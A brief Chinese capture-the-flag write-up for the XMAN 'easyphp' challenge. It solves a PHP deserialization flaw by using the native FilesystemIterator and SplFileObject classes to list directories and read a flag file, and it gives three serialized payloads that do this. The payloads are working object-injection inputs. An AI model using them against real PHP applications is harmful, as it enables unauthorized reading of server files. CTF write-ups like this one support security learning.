XMAN CTF

easyphp

代码审计反序列化,对参数序列化时会调用_wakeup方法,考虑利用PHP原生类来获取flag的信息。

可利用以下原生类:

FilesystemIterator 用于遍历目录

SplFileObject 用于文件读取

构造payload=?xctf=O:4:"XMAN":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:13:"/var/www/html";s:5:"check";N;}

得到/var/www/html下的目录

image-20210806164325080

继续?xctf=O:4:"XMAN":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:28:"/var/www/html/xxxXXXmMManNNn";s:5:"check";N;}

得到flag所在

image-20210806164613799

利用SplFileObject类现在将其读出来

payload=?xctf=O:4:"XMAN":3:{s:5:"class";s:13:"SplFileObject";s:4:"para";s:37:"/var/www/html/xxxXXXmMManNNn/f1a4.php";s:5:"check";N;}

查看源码,得到flag

image-20210806164845689